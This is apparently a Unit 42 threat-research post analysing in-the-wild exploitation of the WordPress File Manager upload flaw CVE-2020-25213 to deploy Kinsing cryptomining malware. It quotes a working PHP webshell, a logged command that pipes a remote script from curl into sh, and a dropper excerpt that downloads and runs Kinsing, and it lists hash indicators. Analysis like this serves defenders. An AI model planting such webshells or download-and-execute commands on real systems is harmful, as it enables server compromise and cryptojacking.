Exploits in the Wild for WordPress File Manager RCE Vulnerability (CVE-2020-25213)

unit42.paloaltonetworks.com/cve-2020-25213/

Nadav Markus, Efi Barkayev, Gal De Leon February 5, 2021

By Nadav Markus, Efi Barkayev and Gal De Leon

February 5, 2021 at 3:00 PM

Category: Unit 42

Tags: cryptojacking, Cryptominers, CVE-2020-25213, Kinsing, Remote Code Exectution, vulnerabilities, WordPress

This post is also available in: 日本語 (Japanese)

Executive Summary

In December 2020, Unit 42 researchers observed attempts to exploit CVE-2020-25213, which is a file upload vulnerability in the WordPress File Manager plugin. Successful exploitation of this vulnerability allows an attacker to upload an arbitrary file with arbitrary names and extensions, leading to Remote Code Execution (RCE) on the targeted web server.

This exploit was used by attackers to install webshells, which in turn were used to install Kinsing, malware that runs a malicious cryptominer from the H2miner family. Kinsing is based on the Golang programming language, and its ultimate purpose is to be used in cryptojacking attacks on container environments.

Palo Alto Networks customers are protected from CVE-2020-25213 and Kinsing with Cortex XDR, AutoFocus and Next-Generation Firewalls with the WildFire security subscription.

CVE-2020-2513 and Webshells

The vulnerability stems from the fact that the WordPress File Manager plugin renamed the file extension on the elFinder library's connector.minimal.php.dist file to .php so it could be executed directly. Since this file has no access restrictions, it can be executed by anyone browsing the web server. The file contains mechanisms to upload files to the web server without any authentication. Because of this flaw, allowing anyone to upload files, malicious actors started attacking it and uploading webshells, which can be used for further activities such as installing malware or cryptominers.

Observed Attack Chain

Our investigation began with the access log of an attacked machine. What caught our attention was the following HTTP POST request to the web server:

[19/Dec/2020:08:58:08 +0000] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 200 1453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"

This request was used to upload a webshell. Inspecting the log further, we found the culprit – i.e., the webshell:

[19/Dec/2020:08:57:48 +0000] "GET /wp-content/plugins/wp-file-manager/lib/files/k.php?cmd=curl+X.X.X.X%2Fwpf.sh%7Csh HTTP/1.1" 200 411

As we can see from the above, the webshell was named k.php and was provided a command to execute. The webshell itself is quite simple as it’s stored in plain text on the web server and contains no obfuscation or authentication measures:

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

Upon further examination of the HTTP GET request that was issued to the webshell k.php, we can see it simply invoked the curl command, downloaded a file named wpf.sh and executed it.

We obtained the shell script from the attacker's command and control (C2) server. Here is a synopsis of the file:

...

$WGET $DIR/kinsing http://X.X.X.X/kinsing

chmod +x $DIR/kinsing

…

SKL=wpf $DIR/kinsing

…

The file wpf.sh is a script that downloads Kinsing using wget, gives it execute permissions and proceeds to execute it.

Conclusion

We observed an exploit in the wild for the WordPress File Manager RCE vulnerability CVE-2020-25213. Attackers used the exploit to install webshells, which in turn were used to install Kinsing, which runs a malicious cryptominer from the H2miner family. The ultimate purpose of Kinsing is to be used in cryptojacking attacks on container environments.

Palo Alto Networks customers are protected from CVE-2020-25213 in the following ways:

- The Linux Cortex XDR agent blocks this attack. The webshell is detected by the local threat evaluation engine, which is powered by machine learning algorithms.
- The malware has malicious verdicts in WildFire, a security subscription for the Next-Generation Firewall.
- The Cortex XDR Behavioral Threat Protection engine prevents both Kinsing and the payload cryptominer.
- Palo Alto Networks Threat Prevention covers this vulnerability with TID 59286.
- AutoFocus has an appropriate tag for the miner and Kinsing.

Indicators of Compromise

Kinsing Hashes

6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b

5f1e0e3cc38f7888b89a9adddb745a341c5f65165dadc311ca389789cc9c6889

Cryptominer Hash (H2miner)

dd603db3e2c0800d5eaa262b6b8553c68deaa486b545d4965df5dc43217cc839

Shell Script Hash

a68ab806c8e111e98ba46d5bfdabd9091a68839dd39dfe81e887361bd4994a62

Webshell Hash

f1c5bed9560a1afe9d5575e923e480e7e8030e10bc3d7c0d842b1a64f49f8794